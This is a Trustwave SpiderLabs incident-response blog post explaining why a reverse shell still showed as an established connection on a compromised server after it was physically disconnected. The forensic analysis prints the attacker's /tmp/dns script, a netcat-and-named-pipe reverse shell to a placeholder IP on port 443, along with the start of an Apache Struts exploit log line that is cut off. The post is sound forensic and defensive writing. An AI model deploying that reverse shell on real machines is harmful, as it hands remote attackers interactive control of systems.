CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

CVE-2024-3400: PAN-OS Command Injection Vulnerability in GlobalProtect Gateway. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Malicious shells; Established != Active

During a recent investigation, SpiderLabs was presented with evidence that appeared to be contradictory. Evidence from firewall logs and remediation actions taken by the client did not tally with the evidence collected from the compromised system. This blog post discusses how SpiderLabs investigators analysed systems to explain this.

SpiderLabs was engaged following the discovery of malicious software and unusual activity on an organisation's systems. Upon discovering the breach on August 16, the client pulled the network cable from the system to stop the hackers and contain the compromise. No changes were made to the system and SpiderLabs first responders were dispatched to perform forensic data collection.

As the compromised system had been left running without modification, it was possible to collect precious live data, including active network connections and processes. The output of the 'netstat –na' command, run on August 20, showed an active connection made by a reverse shell to an attacker's IP - 300.300.300.300:

#netstat –na

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 0 0 10.10.10.10:35317 300.300.300.300:443 ESTABLISHED

This connection was suspicious and led the investigators to dig deeper. The 'ps auxwww' shows the active processes running on a system, and in this case the source of the connection was Netcat (nc):

#ps auxwww

USER PID %CPU %MEM STAT START TIME COMMAND

user 19679 0.0 0.0 S Jul25 0:00 nc 300.300.300.300 443

Searching for the origin of the source of this command led back to a file called /tmp/dns. The full contents of which were:

#!/bin/sh

cd /tmp

while true;do

rm backpipe

mknod backpipe p

nc 300.300.300.300 443 0<backpipe | /bin/bash 1>backpipe

sleep 30

done

This evidence all pointed to the fact that an active reverse shell was active at the time of investigation. However, the server had its network cable disconnected three days before SpiderLabs were called onsite. How could the reverse shell still be active if there was no network connection?

Investigation of the server logs showed the reverse shell script being introduced to the system using a known Apache Struts exploit. Below is an abridged log record of a request to the apache instance running on the server:

Jul 25 09:25:06: 300.300.300.300 "GET /signin.action?redirect:$

Latest SpiderLabs Blogs

EDR – The Multi-Tool of Security Defenses

This is Part 8 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

The Invisible Battleground: Essentials of EASM

Know your enemy – inside and out. External Attack Surface Management tools are an effective way to understand externally facing threats and help plan cyber defenses accordingly. Let’s discuss what...

Read More

Fake Dialog Boxes to Make Malware More Convincing

Let’s explore how SpiderLabs created and incorporated user prompts, specifically Windows dialog boxes into its malware loader to make it more convincing to phishing targets during a Red Team...

Read More